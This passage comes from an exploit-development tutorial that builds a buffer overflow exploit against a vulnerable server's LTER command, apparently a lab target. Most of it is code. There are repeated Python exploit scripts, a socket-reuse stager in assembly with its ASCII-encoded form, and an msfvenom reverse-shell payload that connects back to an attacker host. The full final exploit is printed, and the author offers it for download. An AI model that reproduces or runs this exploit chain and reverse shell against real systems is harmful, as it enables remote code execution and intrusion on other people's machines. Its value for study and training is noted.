Great, but we landed on a 78-byte buffer. We need to jump to the start of
our A
buffer. However, as we saw before, 78 bytes is more than enough for
encoding and executing a long backward jump.
We will use the same strategy as before.
First, we need to know the exact instruction
of the desired long backward jump:
The resulting bytes are E9 2D F2 FF FF
. We must perform a long jump not to
the very start of our buffer, but somewhere in the first bytes.
This is because we don’t know at this point the memory address on where
the JMP
instruction will be generated, and thus,
the offset will likely change.
With the required bytes, we need to align the ESP
pointer again. As we saw,
it’s a good idea to point it to the higher memory of the block in order
to avoid overwriting our encoded payload. This leads to:
push esp ; Push the current value of ESP on the stack
pop eax ; Pop it to EAX register
sub al,0x30 ; Substract 30 bytes from EAX
push eax ; Push the resultant value of EAX to the stack
pop esp ; Pop it back the ESP
Let’s update our exploit:
import socket
import struct
HOST = '192.168.0.20'
PORT = 9999
PAYLOAD = (
b'LTER .' +
b'A' * (3554 - 4 - 79) +
# Align stack for our long jump
b'\x54' + # PUSH ESP
b'\x58' + # POP EAX
b'\x2c\x30' + # SUB AL,30
b'\x50' + # PUSH EAX
b'\x5c' + # POP ESP
b'A' * (79 - 6) + # Fill the rest of our buffer with A
# JNZ SHORT +0x10: Will jump if ZF is 1
b'\x75\x08' +
# JZ SHORT +0x6: If the previous jump didn't happen (ZF is 0), jump!
b'\x74\x06' +
# 6250172B 5F POP EDI
# 6250172C 5D POP EBP
# 6250172D C3 RETN
struct.pack('<L', 0x6250172B) +
b'C' * 2 +
# Align stack pointer
b'\x54' + # PUSH ESP
b'\x58' + # POP EAX
b'\x66\x05\x53\x14' + # ADD AX,0x1453
b'\x50' + # PUSH EAX
b'\x5c' + # POP ESP
# Make EAX = '909080eb'
b'\x25\x50\x50\x4A\x50' + # AND EAX,504A5050
b'\x25\x2A\x2A\x30\x2A' + # AND EAX,2A302A2A
b'\x05\x75\x40\x48\x48' + # ADD EAX,48484075
b'\x05\x76\x40\x48\x48' + # ADD EAX,48484076
b'\x50' + # PUSH EAX
b'C' * (4000 - 3554 - 4)
)
with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)
Let’s get our encoded jump:
$ python3 encoder.py -m -p -s 'E92DF2FFFF' -v LONG_JUMP
...
Shellcode length: 52
Shellcode Output:
LONG_JUMP = b'\x25\x50\x50\x4a\x50\x25\x2a\x2a\x30\x2a\x2d\x62\x21\x22\x23\x2d'
LONG_JUMP += b'\x38\x25\x2b\x28\x2d\x67\x28\x22\x24\x50\x25\x50\x50\x4a\x50\x25'
LONG_JUMP += b'\x2a\x2a\x30\x2a\x2d\x42\x7f\x29\x73\x2d\x7f\x25\x69\x2d\x2d\x56'
LONG_JUMP += b'\x2d\x7b\x5f\x50'
Great, let’s add that LONG_JUMP
variable to our exploit:
import socket
import struct
HOST = '192.168.0.20'
PORT = 9999
LONG_JUMP = b'\x25\x50\x50\x4a\x50\x25\x2a\x2a\x30\x2a\x2d\x62\x21\x22\x23\x2d'
LONG_JUMP += b'\x38\x25\x2b\x28\x2d\x67\x28\x22\x24\x50\x25\x50\x50\x4a\x50\x25'
LONG_JUMP += b'\x2a\x2a\x30\x2a\x2d\x42\x7f\x29\x73\x2d\x7f\x25\x69\x2d\x2d\x56'
LONG_JUMP += b'\x2d\x7b\x5f\x50'
PAYLOAD = (
b'LTER .' +
b'A' * (3554 - 4 - 79) +
# Align stack for our long jump
b'\x54' + # PUSH ESP
b'\x58' + # POP EAX
b'\x2c\x30' + # SUB AL,30
b'\x50' + # PUSH EAX
b'\x5c' + # POP ESP
LONG_JUMP +
b'A' * (79 - 6 - len(LONG_JUMP)) + # Fill the rest of our buffer with A
# JNZ SHORT +0x10: Will jump if ZF is 1
b'\x75\x08' +
# JZ SHORT +0x6: If the previous jump didn't happen (ZF is 0), jump!
b'\x74\x06' +
# 6250172B 5F POP EDI
# 6250172C 5D POP EBP
# 6250172D C3 RETN
struct.pack('<L', 0x6250172B) +
b'C' * 2 +
# Align stack pointer
b'\x54' + # PUSH ESP
b'\x58' + # POP EAX
b'\x66\x05\x53\x14' + # ADD AX,0x1453
b'\x50' + # PUSH EAX
b'\x5c' + # POP ESP
# Make EAX = '909080eb'
b'\x25\x50\x50\x4A\x50' + # AND EAX,504A5050
b'\x25\x2A\x2A\x30\x2A' + # AND EAX,2A302A2A
b'\x05\x75\x40\x48\x48' + # ADD EAX,48484075
b'\x05\x76\x40\x48\x48' + # ADD EAX,48484076
b'\x50' + # PUSH EAX
b'C' * (4000 - 3554 - 4)
)
with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)
Fantastic! Now we have enough room for encoding something really useful.
We will use the stager shellcode applied to exploit the KSTET
command, with
only a slight modification on the ESP
alignment (2 bytes instead of 64; more
information of that stager on the KSTET writeup):
shellcode.asm
sub esp,0x2 ; Align ESP 2 bytes above
xor edi,edi ; Zero out EDI
socket_loop: ; Our bruteforce loop starts here
xor ebx,ebx ; Zero out EBX
push ebx ; Push 'flags' parameter = 0
add bh,0x4 ; Make EBX = 00000400 = 1024 bytes
push ebx ; Push `len` parameter = 1024 bytes
mov ebx,esp ; Move the current pointer of ESP into EBX
add ebx,0x64 ; Point EBX the original ESP to make it the pointer on
; where our stage-2 payload will be received
push ebx ; Push `*buf` parameter = Pointer to ESP+0x64
inc edi ; Make EDI = EDI + 1
push edi ; Push socket handle `s` parameter = EDI = EDI + 1
mov eax,0x40252C90 ; We need to make EAX = 0040252C but we can't inject
; null bytes. So 40252C90 is shift-left padded with 90
shr eax,0x8 ; Remove the '90' byte of EAX by shifting right and
; This makes EAX = 0040252C
call eax ; Call recv()
test eax,eax ; Check if our recv() call was successfully made
jnz socket_loop ; If recv() failed, jump back to the socket loop where
; EDI will be increased to check the next socket handle
We can compile that using NASM
:
$ nasm -f elf32 -o shellcode.o shellcode.asm
And get the expected shellcode with:
$ for i in $(objdump -d shellcode.o -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done; echo
\x83\xec\x02\x31\xff\x31\xdb\x53\x80\xc7\x04\x53\x89\xe3\x83\xc3\x64\x53\x47
\x57\xb8\x90\x2c\x25\x40\xc1\xe8\x08\xff\xd0\x85\xc0\x75\xe3
Now, let’s encode that with our tool:
$ python3 ~/Automatic-ASCII-Shellcode-Subtraction-Encoder/encoder.py -m -p -s
'\x83\xec\x02\x31\xff\x31\xdb\x53\x80\xc7\x04\x53\x89\xe3\x83\xc3\x64\x53\x47
\x57\xb8\x90\x2c\x25\x40\xc1\xe8\x08\xff\xd0\x85\xc0\x75\xe3' -v STAGER
...
Shellcode length: 234
Shellcode Output:
STAGER = b'\x25\x50\x50\x4a\x50\x25\x2a\x2a\x30\x2a\x2d\x2b\x6f\x27\x21\x2d'
STAGER += b'\x30\x37\x26\x2b\x2d\x30\x76\x21\x23\x50\x25\x50\x50\x4a\x50\x25'
STAGER += b'\x2a\x2a\x30\x2a\x2d\x7f\x3e\x26\x7a\x2d\x3c\x7e\x22\x60\x2d\x46'
STAGER += b'\x72\x31\x65\x50\x25\x50\x50\x4a\x50\x25\x2a\x2a\x30\x2a\x2d\x4f'
STAGER += b'\x6f\x6f\x61\x2d\x39\x6f\x77\x62\x2d\x38\x60\x30\x33\x50\x25\x50'
STAGER += b'\x50\x4a\x50\x25\x2a\x2a\x30\x2a\x2d\x7b\x75\x33\x37\x2d\x67\x7e'
STAGER += b'\x7b\x27\x2d\x66\x7b\x24\x7c\x50\x25\x50\x50\x4a\x50\x25\x2a\x2a'
STAGER += b'\x30\x2a\x2d\x2d\x28\x2a\x62\x2d\x3e\x22\x3d\x22\x2d\x31\x62\x51'
STAGER += b'\x24\x50\x25\x50\x50\x4a\x50\x25\x2a\x2a\x30\x2a\x2d\x7f\x76\x24'
STAGER += b'\x7f\x2d\x79\x7f\x35\x3e\x2d\x7f\x26\x22\x7f\x50\x25\x50\x50\x4a'
STAGER += b'\x50\x25\x2a\x2a\x30\x2a\x2d\x24\x67\x23\x23\x2d\x30\x68\x71\x28'
STAGER += b'\x2d\x2c\x69\x66\x61\x50\x25\x50\x50\x4a\x50\x25\x2a\x2a\x30\x2a'
STAGER += b'\x2d\x33\x30\x7a\x5d\x2d\x70\x6c\x68\x26\x2d\x5e\x31\x42\x28\x50'
STAGER += b'\x25\x50\x50\x4a\x50\x25\x2a\x2a\x30\x2a\x2d\x2b\x2a\x2a\x22\x2d'
STAGER += b'\x21\x6e\x6d\x32\x2d\x31\x7b\x65\x7a\x50'
We need to align our ESP
pointer again:
push esp ; Push the current value of ESP on the stack
pop eax ; Pop it to EAX register
sub al,0x0b01 ; Substract 0x0b01 bytes from EAX
push eax ; Push the resultant value of EAX to the stack
pop esp ; Pop it back the ESP
And update our exploit with that. Remember to add a padding in the first
bytes, so our long jump lands there and the execution slides to our stager:
import socket
import struct
HOST = '192.168.0.20'
PORT = 9999
LONG_JUMP = b'\x25\x50\x50\x4a\x50\x25\x2a\x2a\x30\x2a\x2d\x62\x21\x22\x23\x2d'
LONG_JUMP += b'\x38\x25\x2b\x28\x2d\x67\x28\x22\x24\x50\x25\x50\x50\x4a\x50\x25'
LONG_JUMP += b'\x2a\x2a\x30\x2a\x2d\x42\x7f\x29\x73\x2d\x7f\x25\x69\x2d\x2d\x56'
LONG_JUMP += b'\x2d\x7b\x5f\x50'
STAGER = b'\x25\x50\x50\x4a\x50\x25\x2a\x2a\x30\x2a\x2d\x2b\x6f\x27\x21\x2d'
STAGER += b'\x30\x37\x26\x2b\x2d\x30\x76\x21\x23\x50\x25\x50\x50\x4a\x50\x25'
STAGER += b'\x2a\x2a\x30\x2a\x2d\x7f\x3e\x26\x7a\x2d\x3c\x7e\x22\x60\x2d\x46'
STAGER += b'\x72\x31\x65\x50\x25\x50\x50\x4a\x50\x25\x2a\x2a\x30\x2a\x2d\x4f'
STAGER += b'\x6f\x6f\x61\x2d\x39\x6f\x77\x62\x2d\x38\x60\x30\x33\x50\x25\x50'
STAGER += b'\x50\x4a\x50\x25\x2a\x2a\x30\x2a\x2d\x7b\x75\x33\x37\x2d\x67\x7e'
STAGER += b'\x7b\x27\x2d\x66\x7b\x24\x7c\x50\x25\x50\x50\x4a\x50\x25\x2a\x2a'
STAGER += b'\x30\x2a\x2d\x2d\x28\x2a\x62\x2d\x3e\x22\x3d\x22\x2d\x31\x62\x51'
STAGER += b'\x24\x50\x25\x50\x50\x4a\x50\x25\x2a\x2a\x30\x2a\x2d\x7f\x76\x24'
STAGER += b'\x7f\x2d\x79\x7f\x35\x3e\x2d\x7f\x26\x22\x7f\x50\x25\x50\x50\x4a'
STAGER += b'\x50\x25\x2a\x2a\x30\x2a\x2d\x24\x67\x23\x23\x2d\x30\x68\x71\x28'
STAGER += b'\x2d\x2c\x69\x66\x61\x50\x25\x50\x50\x4a\x50\x25\x2a\x2a\x30\x2a'
STAGER += b'\x2d\x33\x30\x7a\x5d\x2d\x70\x6c\x68\x26\x2d\x5e\x31\x42\x28\x50'
STAGER += b'\x25\x50\x50\x4a\x50\x25\x2a\x2a\x30\x2a\x2d\x2b\x2a\x2a\x22\x2d'
STAGER += b'\x21\x6e\x6d\x32\x2d\x31\x7b\x65\x7a\x50'
PAYLOAD = (
b'LTER .' +
b'A' * 16 +
b'\x54' + # PUSH ESP
b'\x58' + # POP EAX
b'\x66\x2d\x01\x0b' + # SUB AX,0x0b01
b'\x50' + # PUSH EAX
b'\x5c' + # POP ESP
STAGER +
b'A' * (3554 - 4 - 79 - 16 - 8 - len(STAGER)) +
# Align stack for our long jump
b'\x54' + # PUSH ESP
b'\x58' + # POP EAX
b'\x2c\x30' + # SUB AL,30
b'\x50' + # PUSH EAX
b'\x5c' + # POP ESP
LONG_JUMP +
b'A' * (79 - 6 - len(LONG_JUMP)) + # Fill the rest of our buffer with A
# JNZ SHORT +0x10: Will jump if ZF is 1
b'\x75\x08' +
# JZ SHORT +0x6: If the previous jump didn't happen (ZF is 0), jump!
b'\x74\x06' +
# 6250172B 5F POP EDI
# 6250172C 5D POP EBP
# 6250172D C3 RETN
struct.pack('<L', 0x6250172B) +
b'C' * 2 +
# Align stack pointer
b'\x54' + # PUSH ESP
b'\x58' + # POP EAX
b'\x66\x05\x53\x14' + # ADD AX,0x1453
b'\x50' + # PUSH EAX
b'\x5c' + # POP ESP
# Make EAX = '909080eb'
b'\x25\x50\x50\x4A\x50' + # AND EAX,504A5050
b'\x25\x2A\x2A\x30\x2A' + # AND EAX,2A302A2A
b'\x05\x75\x40\x48\x48' + # ADD EAX,48484075
b'\x05\x76\x40\x48\x48' + # ADD EAX,48484076
b'\x50' + # PUSH EAX
b'C' * (4000 - 3554 - 4)
)
with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)
# This will trigger our stager
fd.recv(1024)
Weeeh! Now to finish, we can create our shellcode and insert it on our side
channel created by the stager. As we now control the recv()
call,
we are not limited by the bad chars! Let’s do that:
$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.18 LPORT=4444 EXITFUNC=none -f python -v SHELL
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of python file: 1660 bytes
SHELL = b""
SHELL += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64"
SHELL += b"\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28"
SHELL += b"\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c"
SHELL += b"\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52"
SHELL += b"\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
SHELL += b"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49"
SHELL += b"\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01"
SHELL += b"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75"
SHELL += b"\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b"
SHELL += b"\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
SHELL += b"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a"
SHELL += b"\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68\x77"
SHELL += b"\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
SHELL += b"\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b"
SHELL += b"\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68"
SHELL += b"\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xc0\xa8"
SHELL += b"\x00\x12\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56"
SHELL += b"\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c"
SHELL += b"\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5"
SHELL += b"\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57\x31\xf6"
SHELL += b"\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01"
SHELL += b"\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56"
SHELL += b"\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f"
SHELL += b"\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30\x68\x08"
SHELL += b"\x87\x1d\x60\xff\xd5\xbb\xaa\xc5\xe2\x5d\x68\xa6"
SHELL += b"\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0"
SHELL += b"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5"
import socket
import struct
import time
HOST = '192.168.0.20'
PORT = 9999
LONG_JUMP = b'\x25\x50\x50\x4a\x50\x25\x2a\x2a\x30\x2a\x2d\x62\x21\x22\x23\x2d'
LONG_JUMP += b'\x38\x25\x2b\x28\x2d\x67\x28\x22\x24\x50\x25\x50\x50\x4a\x50\x25'
LONG_JUMP += b'\x2a\x2a\x30\x2a\x2d\x42\x7f\x29\x73\x2d\x7f\x25\x69\x2d\x2d\x56'
LONG_JUMP += b'\x2d\x7b\x5f\x50'
STAGER = b'\x25\x50\x50\x4a\x50\x25\x2a\x2a\x30\x2a\x2d\x2b\x6f\x27\x21\x2d'
STAGER += b'\x30\x37\x26\x2b\x2d\x30\x76\x21\x23\x50\x25\x50\x50\x4a\x50\x25'
STAGER += b'\x2a\x2a\x30\x2a\x2d\x7f\x3e\x26\x7a\x2d\x3c\x7e\x22\x60\x2d\x46'
STAGER += b'\x72\x31\x65\x50\x25\x50\x50\x4a\x50\x25\x2a\x2a\x30\x2a\x2d\x4f'
STAGER += b'\x6f\x6f\x61\x2d\x39\x6f\x77\x62\x2d\x38\x60\x30\x33\x50\x25\x50'
STAGER += b'\x50\x4a\x50\x25\x2a\x2a\x30\x2a\x2d\x7b\x75\x33\x37\x2d\x67\x7e'
STAGER += b'\x7b\x27\x2d\x66\x7b\x24\x7c\x50\x25\x50\x50\x4a\x50\x25\x2a\x2a'
STAGER += b'\x30\x2a\x2d\x2d\x28\x2a\x62\x2d\x3e\x22\x3d\x22\x2d\x31\x62\x51'
STAGER += b'\x24\x50\x25\x50\x50\x4a\x50\x25\x2a\x2a\x30\x2a\x2d\x7f\x76\x24'
STAGER += b'\x7f\x2d\x79\x7f\x35\x3e\x2d\x7f\x26\x22\x7f\x50\x25\x50\x50\x4a'
STAGER += b'\x50\x25\x2a\x2a\x30\x2a\x2d\x24\x67\x23\x23\x2d\x30\x68\x71\x28'
STAGER += b'\x2d\x2c\x69\x66\x61\x50\x25\x50\x50\x4a\x50\x25\x2a\x2a\x30\x2a'
STAGER += b'\x2d\x33\x30\x7a\x5d\x2d\x70\x6c\x68\x26\x2d\x5e\x31\x42\x28\x50'
STAGER += b'\x25\x50\x50\x4a\x50\x25\x2a\x2a\x30\x2a\x2d\x2b\x2a\x2a\x22\x2d'
STAGER += b'\x21\x6e\x6d\x32\x2d\x31\x7b\x65\x7a\x50'
SHELL = b""
SHELL += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64"
SHELL += b"\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28"
SHELL += b"\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c"
SHELL += b"\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52"
SHELL += b"\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
SHELL += b"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49"
SHELL += b"\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01"
SHELL += b"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75"
SHELL += b"\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b"
SHELL += b"\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
SHELL += b"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a"
SHELL += b"\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68\x77"
SHELL += b"\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
SHELL += b"\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b"
SHELL += b"\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68"
SHELL += b"\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xc0\xa8"
SHELL += b"\x00\x12\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56"
SHELL += b"\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c"
SHELL += b"\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5"
SHELL += b"\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57\x31\xf6"
SHELL += b"\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01"
SHELL += b"\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56"
SHELL += b"\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f"
SHELL += b"\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30\x68\x08"
SHELL += b"\x87\x1d\x60\xff\xd5\xbb\xaa\xc5\xe2\x5d\x68\xa6"
SHELL += b"\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0"
SHELL += b"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5"
# Create STAGE2 with the shellcode and pad the rest of the
# 1024 buffer with NOPs
STAGE2 = SHELL + b'\x90' * (1024 - len(SHELL))
PAYLOAD = (
b'LTER .' +
b'A' * 16 +
b'\x54' + # PUSH ESP
b'\x58' + # POP EAX
b'\x66\x2d\x01\x0b' + # SUB AX,0x0b01
b'\x50' + # PUSH EAX
b'\x5c' + # POP ESP
STAGER +
b'A' * (3554 - 4 - 79 - 16 - 8 - len(STAGER)) +
# Align stack for our long jump
b'\x54' + # PUSH ESP
b'\x58' + # POP EAX
b'\x2c\x30' + # SUB AL,30
b'\x50' + # PUSH EAX
b'\x5c' + # POP ESP
LONG_JUMP +
b'A' * (79 - 6 - len(LONG_JUMP)) + # Fill the rest of our buffer with A
# JNZ SHORT +0x10: Will jump if ZF is 1
b'\x75\x08' +
# JZ SHORT +0x6: If the previous jump didn't happen (ZF is 0), jump!
b'\x74\x06' +
# 6250172B 5F POP EDI
# 6250172C 5D POP EBP
# 6250172D C3 RETN
struct.pack('<L', 0x6250172B) +
b'C' * 2 +
# Align stack pointer
b'\x54' + # PUSH ESP
b'\x58' + # POP EAX
b'\x66\x05\x53\x14' + # ADD AX,0x1453
b'\x50' + # PUSH EAX
b'\x5c' + # POP ESP
# Make EAX = '909080eb'
b'\x25\x50\x50\x4A\x50' + # AND EAX,504A5050
b'\x25\x2A\x2A\x30\x2A' + # AND EAX,2A302A2A
b'\x05\x75\x40\x48\x48' + # ADD EAX,48484075
b'\x05\x76\x40\x48\x48' + # ADD EAX,48484076
b'\x50' + # PUSH EAX
b'C' * (4000 - 3554 - 4)
)
with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)
# This will trigger our stager
fd.recv(1024)
time.sleep(3)
fd.sendall(STAGE2)
And check if we got a shell:
Wonderful! It was easy, isn’t it? No, it was not, but we learned a lot!
You can download the final exploit here.